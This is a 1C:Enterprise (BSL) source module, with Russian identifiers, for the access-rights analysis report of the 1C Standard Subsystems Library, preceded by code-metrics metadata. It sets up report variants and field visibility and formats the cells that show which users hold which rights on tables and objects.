{"qsc_code_num_words": 785, "qsc_code_num_chars": 7860.0, "qsc_code_mean_word_length": 5.47898089, "qsc_code_frac_words_unique": 0.27770701, "qsc_code_frac_chars_top_2grams": 0.00418507, "qsc_code_frac_chars_top_3grams": 0.00488259, "qsc_code_frac_chars_top_4grams": 0.03348059, "qsc_code_frac_chars_dupe_5grams": 0.2455243, "qsc_code_frac_chars_dupe_6grams": 0.19530342, "qsc_code_frac_chars_dupe_7grams": 0.15670774, "qsc_code_frac_chars_dupe_8grams": 0.14508254, "qsc_code_frac_chars_dupe_9grams": 0.14508254, "qsc_code_frac_chars_dupe_10grams": 0.12834225, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01840015, "qsc_code_frac_chars_whitespace": 0.34312977, "qsc_code_size_file_byte": 7860.0, "qsc_code_num_lines": 238.0, "qsc_code_num_chars_line_max": 120.0, "qsc_code_num_chars_line_mean": 33.02521008, "qsc_code_frac_chars_alphabet": 0.81464265, "qsc_code_frac_chars_comments": 0.37277354, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01155952, "qsc_code_frac_chars_long_word_length": 0.00466437, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecsharp_frac_lines_func_ratio": 0.10416667, "qsc_codecsharp_cate_var_zero": 0.0, "qsc_codecsharp_score_lines_no_logic": 0.27083333, "qsc_codecsharp_frac_lines_print": 0.0}
1
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecsharp_frac_lines_func_ratio": 0, "qsc_codecsharp_cate_var_zero": 0, "qsc_codecsharp_score_lines_no_logic": 0, "qsc_codecsharp_frac_lines_print": 0}
1c-syntax/ssl_3_1
src/cf/Reports/АнализПравДоступа/Ext/ObjectModule.bsl
/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Если Сервер Или ТолстыйКлиентОбычноеПриложение Или ВнешнееСоединение Тогда #Область ПрограммныйИнтерфейс #Область ДляВызоваИзДругихПодсистем // Задать настройки формы отчета. // // Параметры: // Форма - ФормаКлиентскогоПриложения // - Неопределено // КлючВарианта - Строка // - Неопределено // Настройки - см. ОтчетыКлиентСервер.НастройкиОтчетаПоУмолчанию // Процедура ОпределитьНастройкиФормы(Форма, КлючВарианта, Настройки) Экспорт Настройки.ОтключитьСтандартноеКонтекстноеМеню = Истина; Если КлючВарианта = "ПраваПользователяНаТаблицу" Тогда Настройки.РазрешеноИзменятьСтруктуру = Ложь; КонецЕсли; Настройки.ФормироватьСразу = Истина; Настройки.События.ПередЗагрузкойНастроекВКомпоновщик = Истина; Настройки.События.ПриСозданииНаСервере = Истина; Настройки.События.ПриОпределенииИспользуемыхТаблиц = Истина; КонецПроцедуры // См. ОтчетыПереопределяемый.ПриСозданииНаСервере Процедура ПриСозданииНаСервере(Форма, Отказ, СтандартнаяОбработка) Экспорт Если ЗначениеЗаполнено(Форма.НастройкиОтчета.ВариантСсылка) Тогда Форма.НастройкиОтчета.Наименование = Форма.НастройкиОтчета.ВариантСсылка; КонецЕсли; Если Форма.КонтекстВарианта = Метаданные.Справочники.Пользователи.ПолноеИмя() И Форма.Параметры.КлючВарианта <> "ПраваПользователейВРазрезеРазрешенногоЗначения" И Форма.Параметры.Свойство("ПараметрКоманды") Тогда Если Форма.Параметры.ПараметрКоманды.Количество() > 1 Тогда Форма.КлючТекущегоВарианта = "ПраваПользователейНаТаблицы"; Форма.Параметры.КлючВарианта = "ПраваПользователейНаТаблицы"; Иначе Форма.КлючТекущегоВарианта = "ПраваПользователяНаТаблицы"; Форма.Параметры.КлючВарианта = "ПраваПользователяНаТаблицы"; КонецЕсли; Форма.ВариантыКонтекста.Очистить(); Форма.ВариантыКонтекста.Добавить(Форма.КлючТекущегоВарианта); КонецЕсли; Если ЗначениеЗаполнено(Форма.КонтекстВарианта) Тогда Форма.ФормаПараметры.НачальныйКлючВарианта = Форма.КлючТекущегоВарианта; Форма.ФормаПараметры.Отбор.Вставить("НачальныйОтбор"); КонецЕсли; Если УправлениеДоступомСлужебный.УпрощенныйИнтерфейсНастройкиПравДоступа() Тогда Форма.НастройкиОтчета.СхемаМодифицирована = Истина; Схема = ПолучитьИзВременногоХранилища(Форма.НастройкиОтчета.АдресСхемы); Поле = Схема.НаборыДанных.ПраваПользователей.Поля.Найти("ГруппаДоступа"); Поле.Заголовок = НСтр("ru = 'Профиль пользователя'"); Поле.ТипЗначения = Новый ОписаниеТипов("СправочникСсылка.ПрофилиГруппДоступа"); Форма.НастройкиОтчета.АдресСхемы = ПоместитьВоВременноеХранилище(Схема, Форма.УникальныйИдентификатор); КонецЕсли; КонецПроцедуры // Вызывается перед загрузкой новых настроек. Используется для изменения СКД отчета. // // Параметры: // Контекст - Произвольный // КлючСхемы - Строка // КлючВарианта - Строка // - Неопределено // НовыеНастройкиКД - НастройкиКомпоновкиДанных // - Неопределено // НовыеПользовательскиеНастройкиКД - ПользовательскиеНастройкиКомпоновкиДанных // - Неопределено // Процедура ПередЗагрузкойНастроекВКомпоновщик(Контекст, КлючСхемы, КлючВарианта, НовыеНастройкиКД, НовыеПользовательскиеНастройкиКД) Экспорт Вариант = ?(НовыеНастройкиКД = Неопределено, "", НовыеНастройкиКД.ДополнительныеСвойства.КлючПредопределенногоВарианта); Если Вариант = "АнализПравДоступа" Тогда НастроитьВариантАнализПравДоступа(НовыеНастройкиКД, НовыеПользовательскиеНастройкиКД); ИначеЕсли Вариант = "ПраваПользователейНаОбъект" Тогда НастроитьВариантПраваПользователейНаОбъект(НовыеНастройкиКД, НовыеПользовательскиеНастройкиКД); ИначеЕсли Вариант = "ПраваПользователейВРазрезеРазрешенногоЗначения" Тогда НастроитьВариантПраваПользователейВРазрезеРазрешенногоЗначения(НовыеНастройкиКД, НовыеПользовательскиеНастройкиКД); КонецЕсли; Если НовыеНастройкиКД <> Неопределено Тогда СкрытьЛишниеПоляДанных(Вариант, НовыеНастройкиКД, НовыеПользовательскиеНастройкиКД); УстановитьДоступныеЗначенияПоляВидДоступа(Вариант, НовыеНастройкиКД, НовыеПользовательскиеНастройкиКД); КонецЕсли; Если КлючСхемы <> "1" Тогда КлючСхемы = "1"; Если ТипЗнч(Контекст) = Тип("ФормаКлиентскогоПриложения") И НовыеНастройкиКД <> Неопределено Тогда РеквизитыФормы = Новый Структура("КонтекстВарианта"); ЗаполнитьЗначенияСвойств(РеквизитыФормы, Контекст); Если ЗначениеЗаполнено(РеквизитыФормы.КонтекстВарианта) Тогда НастроитьПараметрыКонтекстногоОткрытия(Контекст, Вариант, НовыеНастройкиКД, НовыеПользовательскиеНастройкиКД); КонецЕсли; КонецЕсли; КонецЕсли; Если Не Пользователи.ЭтоПолноправныйПользователь() Тогда СхемаКомпоновкиДанных.Параметры.Пользователь.ОграничениеИспользования = Истина; СхемаКомпоновкиДанных.Параметры.ВидПользователей.ОграничениеИспользования = Истина; КонецЕсли; Если Не Константы.ИспользоватьВнешнихПользователей.Получить() Тогда СхемаКомпоновкиДанных.Параметры.ВидПользователей.ОграничениеИспользования = Истина; КонецЕсли; Если ОбщегоНазначения.ПодсистемаСуществует("СтандартныеПодсистемы.ВариантыОтчетов") Тогда МодульОтчетыСервер = ОбщегоНазначения.ОбщийМодуль("ОтчетыСервер"); МодульОтчетыСервер.ПодключитьСхему(ЭтотОбъект, Контекст, СхемаКомпоновкиДанных, КлючСхемы); КонецЕсли; КонецПроцедуры // Параметры: // КлючВарианта - Строка // - Неопределено // ИспользуемыеТаблицы - Массив из Строка // Процедура ПриОпределенииИспользуемыхТаблиц(КлючВарианта, ИспользуемыеТаблицы) Экспорт ИспользуемыеТаблицы.Добавить(Метаданные.РегистрыСведений.ПраваРолей.ПолноеИмя()); ИспользуемыеТаблицы.Добавить(Метаданные.Справочники.ПрофилиГруппДоступа.ПолноеИмя()); ИспользуемыеТаблицы.Добавить(Метаданные.Справочники.ГруппыДоступа.ПолноеИмя()); ИспользуемыеТаблицы.Добавить(Метаданные.РегистрыСведений.СоставыГруппПользователей.ПолноеИмя()); КонецПроцедуры #КонецОбласти #КонецОбласти #Область ОбработчикиСобытий // Параметры: // ДокументРезультат - ТабличныйДокумент // ДанныеРасшифровки - ДанныеРасшифровкиКомпоновкиДанных // СтандартнаяОбработка - Булево // Процедура ПриКомпоновкеРезультата(ДокументРезультат, ДанныеРасшифровки, СтандартнаяОбработка) СтандартнаяОбработка = Ложь; Если Не ОбщегоНазначения.ПодсистемаСуществует("СтандартныеПодсистемы.ВариантыОтчетов") Тогда ТекстОшибки = НСтр("ru = 'Для использования отчета требуется внедрить подсистему Варианты отчетов.'"); ВызватьИсключение ТекстОшибки; КонецЕсли; Если ВариантПравНаОбъект() И Не УправлениеДоступом.ПроизводительныйВариант() Тогда ТекстОшибки = НСтр("ru = 'Вариант отчета ""Права пользователей на объект"" поддерживается только в производительном варианте ограничений доступа на уровне записей (RLS).'"); ВызватьИсключение ТекстОшибки; КонецЕсли; НастройкиКомпоновщика = КомпоновщикНастроек.ПолучитьНастройки(); ПараметрВидПользователей = НастройкиКомпоновщика.ПараметрыДанных.Элементы.Найти("ВидПользователей"); ПараметрПользователь = НастройкиКомпоновщика.ПараметрыДанных.Элементы.Найти("Пользователь"); Если ПараметрПользователь.Использование И Не ЗначениеЗаполнено(ПараметрПользователь.Значение) Тогда ПараметрПользователь.Использование = Ложь; КонецЕсли; Если ПараметрПользователь.Использование Тогда ПараметрВидПользователей.Использование = Ложь; КонецЕсли; УстановитьПривилегированныйРежим(Истина); НастройкиПрав = НастройкиПравПоОбъектам(); КомпоновщикМакета = Новый КомпоновщикМакетаКомпоновкиДанных; МакетКомпоновки = КомпоновщикМакета.Выполнить(СхемаКомпоновкиДанных, НастройкиКомпоновщика, ДанныеРасшифровки); ВнешниеНаборыДанных = Новый Структура; ВнешниеНаборыДанных.Вставить("ПраваПользователей", ПраваПользователей()); ВнешниеНаборыДанных.Вставить("НастройкиПравПоОбъектам", НастройкиПрав.НастройкиПравПоОбъектам); ВнешниеНаборыДанных.Вставить("НастройкиПравИерархия", НастройкиПрав.НастройкиПравИерархия); ВнешниеНаборыДанных.Вставить("НастройкиПравЛегенда", НастройкиПрав.НастройкиПравЛегенда); ПроцессорКомпоновки = Новый ПроцессорКомпоновкиДанных; ПроцессорКомпоновки.Инициализировать(МакетКомпоновки, ВнешниеНаборыДанных, ДанныеРасшифровки); ПроцессорВывода = Новый ПроцессорВыводаРезультатаКомпоновкиДанныхВТабличныйДокумент; ПроцессорВывода.УстановитьДокумент(ДокументРезультат); ПроцессорВывода.Вывести(ПроцессорКомпоновки); ЗавершитьВывод(ДокументРезультат, ДанныеРасшифровки, НастройкиПрав); КонецПроцедуры #КонецОбласти #Область СлужебныеПроцедурыИФункции Процедура ЗавершитьВывод(ДокументРезультат, ДанныеРасшифровки, НастройкиПрав) ГруппаДоступаЗаголовок = НСтр("ru = 'Группа доступа'"); Если УправлениеДоступомСлужебный.УпрощенныйИнтерфейсНастройкиПравДоступа() Тогда ГруппаДоступаЗаголовок = НСтр("ru = 'Профиль пользователя'"); КонецЕсли; // АПК:163-выкл - №598.1 Использование допустимо, так как влияет на смысл. ТекстЕстьОграничение = ?(ВариантПравНаОбъект(), "", НСтр("ru = 'Есть ограничение'")); // АПК:163-вкл. ТекстПравоНеНазначено = НСтр("ru = '●'"); ТекстПравоРазрешено = НСтр("ru = '✔'"); ТекстПравоЗапрещено = НСтр("ru = '✘'"); ШрифтПравоНеНазначено = Неопределено; ШрифтПравоРазрешено = Неопределено; ШрифтПравоЗапрещено = Неопределено; ЦветПравоНеНазначено = Метаданные.ЭлементыСтиля.НеназначенноеПравоДоступаЦвет.Значение; ЦветПравоРазрешено = Метаданные.ЭлементыСтиля.РазрешенноеПравоДоступаЦвет.Значение; ЦветПравоЗапрещено = Метаданные.ЭлементыСтиля.ЗапрещенноеПравоДоступаЦвет.Значение; ЦветПравоВычисленное = Метаданные.ЭлементыСтиля.ВычисленноеПравоДоступаЦвет.Значение; РасшифровкиСтрок = Новый Соответствие; РасшифровкиКолонок = Новый Соответствие; НастроенноеПравоДляПодпапок = ОписаниеКолонкиДляПодпапок().Заголовок; НетЛинии = Новый Линия(ТипЛинииЯчейкиТабличногоДокумента.НетЛинии); ТипИдентификаторРасшифровкиКомпоновкиДанных = Тип("ИдентификаторРасшифровкиКомпоновкиДанных"); ВысотаТаблицы = ДокументРезультат.ВысотаТаблицы; ШиринаТаблицы = ДокументРезультат.ШиринаТаблицы; Для НомерСтроки = 1 По ВысотаТаблицы Цикл Для НомерКолонки = 1 По ШиринаТаблицы Цикл Область = ДокументРезультат.Область(НомерСтроки, НомерКолонки); Расшифровка = Область.Расшифровка; Если ТипЗнч(Расшифровка) <> ТипИдентификаторРасшифровкиКомпоновкиДанных Тогда ТекстОбласти = Область.Текст; Если ТекстОбласти = "*" Тогда Область.Текст = ""; Область.Примечание.Текст = ТекстЕстьОграничение; ИначеЕсли ТекстОбласти = "&ГруппаДоступаЗаголовок" Тогда Область.Текст = ГруппаДоступаЗаголовок; ИначеЕсли ТекстОбласти = "&ВладелецНастроекЗаголовок" Тогда Область.Текст = НастройкиПрав.ВладелецНастроекЗаголовок; КонецЕсли; Продолжить; КонецЕсли; ЗначенияПолей = ДанныеРасшифровки.Элементы[Расшифровка].ПолучитьПоля(); Если ЗначенияПолей.Найти("Право") <> Неопределено И ЗначенияПолей.Найти("Право").Значение > 0 И ЗначенияПолей.Найти("ПравоБезОграничения") <> Неопределено И ЗначенияПолей.Найти("Право").Значение > ЗначенияПолей.Найти("ПравоБезОграничения").Значение Или ЗначенияПолей.Найти("ПравоПросмотр") <> Неопределено И ЗначенияПолей.Найти("ПравоПросмотр").Значение = Истина И ЗначенияПолей.Найти("ПравоЧтениеБезОграничения").Значение = Ложь Или ЗначенияПолей.Найти("ПравоРедактирование") <> Неопределено И ЗначенияПолей.Найти("ПравоРедактирование").Значение = Истина И ЗначенияПолей.Найти("ПравоИзменениеБезОграничения").Значение = Ложь Или ЗначенияПолей.Найти("ПравоИнтерактивноеДобавление") <> Неопределено И ЗначенияПолей.Найти("ПравоИнтерактивноеДобавление").Значение = Истина И ЗначенияПолей.Найти("ПравоДобавлениеБезОграничения").Значение = Ложь Тогда Область.Примечание.Текст = ТекстЕстьОграничение; ИначеЕсли ЗначенияПолей.Найти("ЗначениеПрава") <> Неопределено Тогда ЗначениеПрава = ЗначенияПолей.Найти("ЗначениеПрава").Значение; Если ЗначениеПрава = Null Тогда ЗначениеПрава = 0; ЭтоВладелецНастроек = РасшифровкиСтрок.Получить(НомерСтроки).Найти("ЭтоВладелецНастроек").Значение; НастроенноеПраво = РасшифровкиКолонок.Получить(НомерКолонки).Найти("НастроенноеПраво").Значение; Иначе ЭтоВладелецНастроек = ЗначенияПолей.Найти("ЭтоВладелецНастроек").Значение; Если ЗначениеПрава = 0 Тогда НастроенноеПраво = ЗначенияПолей.Найти("НастроенноеПраво").Значение; КонецЕсли; КонецЕсли; Если ЗначениеПрава = 0 Тогда Если ЭтоВладелецНастроек И НастроенноеПраво <> НастроенноеПравоДляПодпапок Тогда ЗначениеПрава = 2; ИначеЕсли НастроенноеПраво <> НастроенноеПравоДляПодпапок Тогда Область.Текст = ТекстПравоНеНазначено; Область.Шрифт = ШрифтПравоНеНазначено; Область.ЦветТекста = ЦветПравоНеНазначено; КонецЕсли; КонецЕсли; Если ЗначениеПрава = 1 Тогда Область.Текст = ТекстПравоРазрешено; Область.Шрифт = ШрифтПравоРазрешено; Область.ЦветТекста = ?(ЭтоВладелецНастроек, ЦветПравоВычисленное, ЦветПравоРазрешено); ИначеЕсли ЗначениеПрава = 2 Тогда Область.Текст = ТекстПравоЗапрещено; Область.Шрифт = ШрифтПравоЗапрещено; Область.ЦветТекста = ?(ЭтоВладелецНастроек, ЦветПравоВычисленное, ЦветПравоЗапрещено); КонецЕсли; ИначеЕсли ЗначенияПолей.Найти("ВладелецИлиПользовательНастроек") <> Неопределено Тогда РасшифровкиСтрок.Вставить(НомерСтроки, ЗначенияПолей); Если ШрифтПравоНеНазначено = Неопределено Тогда ШрифтПравоНеНазначено = Область.Шрифт; // АПК:1345-выкл - Используется текущий шрифт, увеличенный до 120% с наклоном для выделения символов ✔ и ✘, но не ●. ШрифтПравоРазрешено = Новый Шрифт(ШрифтПравоНеНазначено,,, Истина,,,, 120); ШрифтПравоЗапрещено = ШрифтПравоРазрешено; // АПК:1345-вкл КонецЕсли; Отступ = (ЗначенияПолей.Найти("Уровень").Значение - 1) * 2; ОбластьСтроки = ДокументРезультат.Область(НомерСтроки, , НомерСтроки); ОбластьСтроки.СоздатьФорматСтрок(); ОбластьСправа = ДокументРезультат.Область(НомерСтроки, НомерКолонки); ОбластьСлева = ДокументРезультат.Область(НомерСтроки, НомерКолонки - 1); ОбластьСправа.ГраницаСлева = НетЛинии; ОбластьСлева.ГраницаСправа = НетЛинии; ОбластьСправа.ШиринаКолонки = Область.ШиринаКолонки + ОбластьСлева.ШиринаКолонки - Отступ; ОбластьСлева.ШиринаКолонки = Отступ; ИначеЕсли ЗначенияПолей.Найти("НастроенноеПраво") <> Неопределено Тогда РасшифровкиКолонок.Вставить(НомерКолонки, ЗначенияПолей); КонецЕсли; КонецЦикла; КонецЦикла; КонецПроцедуры // Для процедур ПередЗагрузкойНастроекВКомпоновщик. Процедура СкрытьЛишниеПоляДанных(Вариант, НастройкиКД, ПользовательскиеНастройкиКД) ПраваПользователей = Новый Массив; Если Вариант = "ПраваПользователейНаОбъект" Тогда ПраваПользователей.Добавить("ЭлементДанных"); Иначе ПраваПользователей.Добавить("ОбъектМетаданных"); КонецЕсли; ПраваПользователей.Добавить("Пользователь"); ПраваПользователей.Добавить("ВходВПрограммуРазрешен"); ПраваПользователей.Добавить("Право"); ПраваПользователей.Добавить("ПравоБезОграничения"); ПраваПользователей.Добавить("ПравоИнтерактивное"); Если Вариант = "АнализПравДоступа" И ЗначениеПараметраИзНастройки(ПользовательскиеНастройкиКД, "ВыводитьГруппировку") = 1 Или Вариант = "ПраваПользователейНаТаблицыОтчета" Или Вариант = "ПраваПользователяНаТаблицыОтчета" Или Вариант = "ПраваПользователяНаТаблицыОтчетов" Тогда ПраваПользователей.Добавить("Отчет"); ПраваПользователей.Добавить("ПравоОтчета"); КонецЕсли; Если Вариант = "ПраваПользователейНаТаблицу" Или Вариант = "ПраваПользователяНаТаблицу" Или Вариант = "ПраваПользователейНаОбъект" Тогда ПраваПользователей.Добавить("ПравоЧтение"); ПраваПользователей.Добавить("ПравоИзменение"); Если Вариант <> "ПраваПользователейНаОбъект" Тогда ПраваПользователей.Добавить("ПравоДобавление"); КонецЕсли; ПраваПользователей.Добавить("ПравоЧтениеБезОграничения"); ПраваПользователей.Добавить("ПравоИзменениеБезОграничения"); Если Вариант <> "ПраваПользователейНаОбъект" Тогда ПраваПользователей.Добавить("ПравоДобавлениеБезОграничения"); КонецЕсли; ПраваПользователей.Добавить("ПравоПросмотр"); ПраваПользователей.Добавить("ПравоРедактирование"); Если Вариант <> "ПраваПользователейНаОбъект" Тогда ПраваПользователей.Добавить("ПравоИнтерактивноеДобавление"); КонецЕсли; КонецЕсли; Если Вариант = "ПраваПользователяНаТаблицу" Тогда ПраваПользователей.Добавить("ВидДоступаПраво"); ПраваПользователей.Добавить("ВидДоступаПравоБезОграничения"); ПраваПользователей.Добавить("ВидДоступаПравоИнтерактивное"); ПраваПользователей.Добавить("ВидДоступаПравоЧтение"); ПраваПользователей.Добавить("ВидДоступаПравоИзменение"); ПраваПользователей.Добавить("ВидДоступаПравоДобавление"); ПраваПользователей.Добавить("ВидДоступаПравоЧтениеБезОграничения"); ПраваПользователей.Добавить("ВидДоступаПравоИзменениеБезОграничения"); ПраваПользователей.Добавить("ВидДоступаПравоДобавлениеБезОграничения"); ПраваПользователей.Добавить("ВидДоступаПравоПросмотр"); ПраваПользователей.Добавить("ВидДоступаПравоРедактирование"); ПраваПользователей.Добавить("ВидДоступаПравоИнтерактивноеДобавление"); КонецЕсли; Если Вариант = "ПраваПользователяНаТаблицы" Или Вариант = "ПраваПользователяНаТаблицу" Или Вариант = "ПраваПользователяНаТаблицыОтчета" Или Вариант = "ПраваПользователяНаТаблицыОтчетов" Или Вариант = "ПраваПользователейВРазрезеРазрешенногоЗначения" Тогда ПраваПользователей.Добавить("ГруппаДоступа"); КонецЕсли; Если Вариант = "ПраваПользователяНаТаблицу" Или Вариант = "ПраваПользователейВРазрезеРазрешенногоЗначения" Тогда ПраваПользователей.Добавить("ВидДоступа"); Если Вариант = "ПраваПользователяНаТаблицу" Тогда ПраваПользователей.Добавить("ВсеРазрешены"); КонецЕсли; ПраваПользователей.Добавить("ЗначениеДоступа"); КонецЕсли; ИсходнаяСхема = ПолучитьМакет("Макет"); ТекущаяСхема = СхемаКомпоновкиДанных; СкрытьПоляДанныхКромеУказанных("ПраваПользователей", ПраваПользователей, ИсходнаяСхема, ТекущаяСхема); НастройкиПрав = Новый Массив; Если Вариант = "ПраваПользователяНаТаблицу" Тогда Если НастройкиПравПоТаблицеВОтборе(НастройкиКД, ПользовательскиеНастройкиКД) <> Неопределено Тогда НастройкиПрав = "*"; КонецЕсли; Группировки = Новый Соответствие; Группировки.Вставить("НастройкиПрав", НастройкиПрав = "*"); Группировки.Вставить("ЛегендаНастроекПрав", НастройкиПрав = "*"); Группировки.Вставить("ДополнительныйЗаголовокТаблицы", НастройкиПрав = "*"); УстановитьИспользованиеГруппировок(Группировки, НастройкиКД, ПользовательскиеНастройкиКД); КонецЕсли; СкрытьПоляДанныхКромеУказанных("НастройкиПравПоОбъектам", НастройкиПрав, ИсходнаяСхема, ТекущаяСхема); СкрытьПоляДанныхКромеУказанных("НастройкиПравЛегенда", НастройкиПрав, ИсходнаяСхема, ТекущаяСхема); СкрытьПоляДанныхКромеУказанных("НастройкиПравИерархия", НастройкиПрав, ИсходнаяСхема, ТекущаяСхема); КонецПроцедуры // Для процедуры СкрытьЛишниеПоляДанных. Процедура СкрытьПоляДанныхКромеУказанных(ИмяНабораДанных, ПутиКДанным, ИсходнаяСхема, ТекущаяСхема) Отчеты.АнализПравДоступа.СкрытьПоляДанныхКромеУказанных(ИмяНабораДанных, ПутиКДанным, ИсходнаяСхема, ТекущаяСхема); КонецПроцедуры // Для процедур ПередЗагрузкойНастроекВКомпоновщик. Процедура УстановитьДоступныеЗначенияПоляВидДоступа(Вариант, НастройкиКД, ПользовательскиеНастройкиКД) ПолеДанных = СхемаКомпоновкиДанных.НаборыДанных.ПраваПользователей.Поля.Найти("ВидДоступа"); ЗначенияПоля = Новый СписокЗначений; Если Вариант = "ПраваПользователяНаТаблицу" Тогда ПредставлениеВидовДоступа = УправлениеДоступомСлужебный.ПредставлениеВидовДоступа(); Для Каждого КлючИЗначение Из ПредставлениеВидовДоступа Цикл ЗначенияПоля.Добавить(КлючИЗначение.Ключ, КлючИЗначение.Значение); КонецЦикла; Иначе ЗначенияПоля.Добавить(Неопределено); КонецЕсли; ПолеДанных.УстановитьДоступныеЗначения(ЗначенияПоля); КонецПроцедуры // Для процедур ПередЗагрузкойНастроекВКомпоновщик. Процедура НастроитьВариантАнализПравДоступа(НастройкиКД, ПользовательскиеНастройкиКД) ПараметрВыводить = СхемаКомпоновкиДанных.Параметры.ВыводитьГруппировку; ПараметрВыводить.ОграничениеИспользования = Ложь; Значения = Новый СписокЗначений; Значения.Добавить(0, НСтр("ru = 'Таблицы'")); Значения.Добавить(1, НСтр("ru = 'Отчеты с таблицами'")); ПараметрВыводить.УстановитьДоступныеЗначения(Значения); ПараметрВыводить.Значение = 0; Значение = ЗначениеПараметраИзНастройки(ПользовательскиеНастройкиКД, ПараметрВыводить.Имя); Если Значение <> Неопределено Тогда Группировки = Новый Соответствие; Группировки.Вставить("ГруппировкаПоТаблицам", Значение = 0); Группировки.Вставить("ГруппировкаПоТаблицамОтчетов", Значение = 1); УстановитьИспользованиеГруппировок(Группировки, НастройкиКД, ПользовательскиеНастройкиКД); КонецЕсли; КонецПроцедуры // Для процедур ПередЗагрузкойНастроекВКомпоновщик. Процедура НастроитьВариантПраваПользователейНаОбъект(НастройкиКД, ПользовательскиеНастройкиКД) ПолеДанных = СхемаКомпоновкиДанных.НаборыДанных.ПраваПользователей.Поля.Найти("Право"); ЗначенияПоля = Новый СписокЗначений; ЗначенияПоля.Добавить(1, НСтр("ru = 'Чтение'")); ЗначенияПоля.Добавить(2, НСтр("ru = 'Изменение'")); ПолеДанных.УстановитьДоступныеЗначения(ЗначенияПоля); ПолеДанных = СхемаКомпоновкиДанных.НаборыДанных.ПраваПользователей.Поля.Найти("ПравоИнтерактивное"); ЗначенияПоля = Новый СписокЗначений; ЗначенияПоля.Добавить(1, НСтр("ru = 'Просмотр'")); ЗначенияПоля.Добавить(2, НСтр("ru = 'Редактирование'")); ПолеДанных.УстановитьДоступныеЗначения(ЗначенияПоля); Параметр = СхемаКомпоновкиДанных.Параметры.ЭлементДанных; Параметр.ОграничениеИспользования = Ложь; Параметр.Использование = ИспользованиеПараметраКомпоновкиДанных.Всегда; Параметр.ТипЗначения = УправлениеДоступомСлужебныйПовтИсп.ТипыЭлементовДанных(); СхемаКомпоновкиДанных.Параметры.Удалить(Параметр); СхемаКомпоновкиДанных.Параметры.Вставить(0); ЗаполнитьЗначенияСвойств(СхемаКомпоновкиДанных.Параметры[0], Параметр); КонецПроцедуры // Для процедур ПередЗагрузкойНастроекВКомпоновщик. Процедура НастроитьВариантПраваПользователейВРазрезеРазрешенногоЗначения(НастройкиКД, ПользовательскиеНастройкиКД) Параметр = СхемаКомпоновкиДанных.Параметры.ЗначениеДоступа; Параметр.ОграничениеИспользования = Ложь; Параметр.Использование = ИспользованиеПараметраКомпоновкиДанных.Всегда; Параметр.ТипЗначения = Отчеты.АнализПравДоступа.ОписаниеТиповГруппИЗначенийВидовДоступа(); СхемаКомпоновкиДанных.Параметры.Удалить(Параметр); СхемаКомпоновкиДанных.Параметры.Вставить(1); ЗаполнитьЗначенияСвойств(СхемаКомпоновкиДанных.Параметры[1], Параметр); ПараметрВыводить = СхемаКомпоновкиДанных.Параметры.ВыводитьГруппировку; ПараметрВыводить.ОграничениеИспользования = Ложь; УпрощенныйИнтерфейс = УправлениеДоступомСлужебный.УпрощенныйИнтерфейсНастройкиПравДоступа(); Значения = Новый СписокЗначений; Значения.Добавить(0, НСтр("ru = 'Таблицы с правами пользователей'")); Значения.Добавить(1, НСтр("ru = 'Пользователей'")); Значения.Добавить(2, ?(УпрощенныйИнтерфейс, НСтр("ru = 'Пользователей с профилями'"), НСтр("ru = 'Пользователей с группами доступа'"))); Значения.Добавить(3, ?(УпрощенныйИнтерфейс, НСтр("ru = 'Профили с пользователями'"), НСтр("ru = 'Группы доступа с пользователями'"))); Значения.Добавить(4, ?(УпрощенныйИнтерфейс, НСтр("ru = 'Профили групп доступа'"), НСтр("ru = 'Группы доступа'"))); Значения.Добавить(5, ?(УпрощенныйИнтерфейс, НСтр("ru = 'Таблицы с правами профилей'"), НСтр("ru = 'Таблицы с правами групп доступа'"))); ПараметрВыводить.УстановитьДоступныеЗначения(Значения); ПараметрВыводить.Значение = 0; Значение = ЗначениеПараметраИзНастройки(ПользовательскиеНастройкиКД, ПараметрВыводить.Имя); Если Значение <> Неопределено Тогда Группировки = Новый Соответствие; Группировки.Вставить("ТаблицыСПравамиПользователей", Значение = 0); Группировки.Вставить("Пользователи", Значение = 1); Группировки.Вставить("ПользователиСГруппамиДоступа", Значение = 2); Группировки.Вставить("ГруппыДоступаСПользователями", Значение = 3); Группировки.Вставить("ГруппыДоступа", Значение = 4); Группировки.Вставить("ТаблицыСПравамиГруппДоступа", Значение = 5); Группировки.Вставить("Легенда", Значение = 0 Или Значение = 5); УстановитьИспользованиеГруппировок(Группировки, НастройкиКД, ПользовательскиеНастройкиКД); КонецЕсли; КонецПроцедуры // Для процедур ПередЗагрузкойНастроекВКомпоновщик. 